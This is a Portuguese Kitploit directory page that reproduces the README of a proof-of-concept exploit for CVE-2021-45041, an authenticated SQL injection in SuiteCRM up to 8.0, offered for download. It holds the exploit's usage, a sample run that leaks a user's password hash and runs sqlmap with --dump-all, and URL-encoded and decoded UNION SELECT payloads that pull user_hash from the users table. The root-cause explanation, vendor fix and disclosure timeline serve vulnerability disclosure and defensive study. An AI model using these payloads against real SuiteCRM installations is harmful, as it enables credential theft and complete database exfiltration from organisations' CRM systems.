Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-45041 — PoC para CVE-2021-45041 | Kitploit
Ferramentas/GitHubGitHub/manuelz120/cve-2021-45041
Ataques de SenhaAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de Penetração
GitHubmanuelz120/cve-2021-45041

CVE-2021-45041

PoC para CVE-2021-45041

Ver Repositório
32há 4 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Site

CVE-2021-45041

PoC para CVE-2021-45041 também conhecido como SCRMBT-#177 - Injeção SQL autenticada no SuiteCRM <= 8.0

Uso

Opções:

root@kitploit:~
(.venv) ➜  CVE-2021-45041 git:(main) ./exploit.py --help
Usage: exploit.py [OPTIONS]

Options:
  -h, --host TEXT          Raiz da instalação do SuiteCRM. O padrão é
                           http://localhost
  -u, --username TEXT      Nome de usuário
  -p, --password TEXT      Senha
  -c, --col_count INTEGER  Número de colunas a usar na consulta UNION. O padrão é 44
  -d, --dbms TEXT          SGBD usado pelo SuiteCRM. O padrão é mysql
  -d, --is_core BOOLEAN    SuiteCRM Core (>= 8.0.0). O padrão é False
  --help                   Mostra esta mensagem e sai.

  https://github.com/manuelz120/CVE-2021-45041

Exemplo de uso:

root@kitploit:~
(.venv) ➜  CVE-2021-45041 git:(main) ✗ ./exploit.py --host http://localhost --username user --password ******
INFO:CVE-2021-45041:Login funcionou - Tentando vazar o hash do usuário para verificar se o SuiteCRM é vulnerável
INFO:CVE-2021-45041:Recebido o seguinte hash: $2y$10$WTN2aqQOyHUWxBjubqvYrukTOOE.rrfmE4SoogFbv4kc9dXu7vZzq
INFO:CVE-2021-45041:Se isso não se parecer com um hash de senha, o exploit pode não funcionar corretamente
INFO:CVE-2021-45041:Lançando sqlmap contra o alvo para obter dump completo do banco de dados
INFO:CVE-2021-45041:sqlmap -u 'http://localhost/index.php?module=Project&action=Tooltips&resource_id=test%5C&start_date=%29+*' --headers 'Cookie: PHPSESSID=93b4g4bfd3ak199iiiands8cv8; sugar_user_theme=SuiteP' --technique U --dbms mysql --union-cols=44 --batch --dump-all
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.5.12#pip}
|_ -| . [)]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 21:42:51 /2021-12-27/

custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] Y
[21:42:51] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
    Type: UNION query
    Title: Generic UNION query (NULL) - 44 columns (custom)
    Payload: http://localhost:80/index.php?module=Project&action=Tooltips&resource_id=test\&start_date=-8702) UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x717a6a7a71,0x52736356547967794948526b714b71584c55516679466d45537956795a546d664d74516d54644f41,0x716b767171),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
[21:42:52] [INFO] testing MySQL
[21:42:52] [INFO] confirming MySQL
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] Y
[21:42:52] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.51
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[21:42:52] [INFO] sqlmap will dump entries of all tables from all databases now
[21:42:52] [INFO] fetching database names
...

Explicação

Recentemente descobri uma Injeção SQL autenticada no SuiteCRM. Consegui verificar a vulnerabilidade nas versões 8.0 e 7.12.1. A vulnerabilidade está localizada na ação Tooltips do módulo Project. Em uma instalação padrão, qualquer usuário pode chamar esta ação acessando a seguinte URL (para a versão 8, adicione o prefixo /legacy):

/index.php?module=Project&action=Tooltips&resource_id=test&start_date=test

Se verificarmos a implementação dessa ação (veja https://github.com/salesagility/SuiteCRM-Core/blob/v8.0.0/public/legacy/modules/Project/controller.php#L485-L513), podemos ver que os valores são retirados diretamente de $_REQUEST sem qualquer sanitização adicional, e posteriormente usados na cláusula where da consulta.

função vulnerável

Embora não possamos usar aspas simples devido à codificação de entidades HTML, isso ainda é explorável, pois existem múltiplos pontos de injeção. Se especificarmos um resource_id terminando com uma barra invertida (\), a aspa simples seguinte será escapada, e a string será terminada apenas pela aspa simples após a palavra-chave BETWEEN. Isso significa que qualquer coisa que o cliente enviar como start_date será tratada como SQL puro e pode ser usada para realizar um ataque de Injeção SQL.

Aqui está um PoC mínimo que vaza o hash da senha de um usuário:

Versão 7.12.1:

/index.php?module=Project&action=Tooltips&resource_id=test&start_date=%29%20UNION%20SELECT%200%2C%201%2C%202%2C%203%2C%204%2C%20%28SELECT%20user_hash%20from%20users%20limit%201%29%2C%206%2C%207%2C%208%2C%209%2C%2010%2C%2011%2C%2012%2C%2013%2C%2014%2C%2015%2C%2016%2C%2017%2C%2018%2C%2019%2C%2020%2C%2021%2C%2022%2C%2023%2C%2024%2C%2025%2C%2026%2C%2027%2C%2028%2C%2029%2C%2030%2C%2031%2C%2032%2C%2033%2C%2034%2C%2035%2C%2036%2C%2037%2C%2038%2C%2039%2C%2040%2C%2041%2C%2042%2C%2043%20from%20dual%3B%20%23

Versão 8.0:

/legacy/index.php?module=Project&action=Tooltips&resource_id=test&start_date=%29%20UNION%20SELECT%200%2C%201%2C%202%2C%203%2C%204%2C%20%28SELECT%20user_hash%20from%20users%20limit%201%29%2C%206%2C%207%2C%208%2C%209%2C%2010%2C%2011%2C%2012%2C%2013%2C%2014%2C%2015%2C%2016%2C%2017%2C%2018%2C%2019%2C%2020%2C%2021%2C%2022%2C%2023%2C%2024%2C%2025%2C%2026%2C%2027%2C%2028%2C%2029%2C%2030%2C%2031%2C%2032%2C%2033%2C%2034%2C%2035%2C%2036%2C%2037%2C%2038%2C%2039%2C%2040%2C%2041%2C%2042%2C%2043%20from%20dual%3B%20%23

Versão decodificada da URL:

root@kitploit:~
module=Project&action=Tooltips&resource_id=test\&start_date=) UNION SELECT 0, 1, 2, 3, 4, (SELECT user_hash from users limit 1), 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43 from dual; #

PoC

Correção implementada

Logo após meu relatório, novas versões do SuiteCRM (7.12.2 e 8.0.1) foram lançadas, contendo a seguinte correção:

https://github.com/salesagility/SuiteCRM/commit/0201c36b1468a16eb89218e7c798cf0ce2adac5c?diff=unified#diff-cb8e700b4303102f82ba718a035794422b23769c3140a46f77285a268f14232aL489-L496

Linha do tempo

  • 13/12/2021: Vulnerabilidade descoberta e reportada ao SuiteCRM
  • 14/12/2021: Vulnerabilidade confirmada pelo fornecedor (SalesAgility)
  • 17/12/2021: Lançamento das versões corrigidas (SuiteCRM 7.12.2 e SuiteCRM 8.0.1)

Créditos

  • SQLMap
  • Click
  • BeautifulSoup
Baixar ferramenta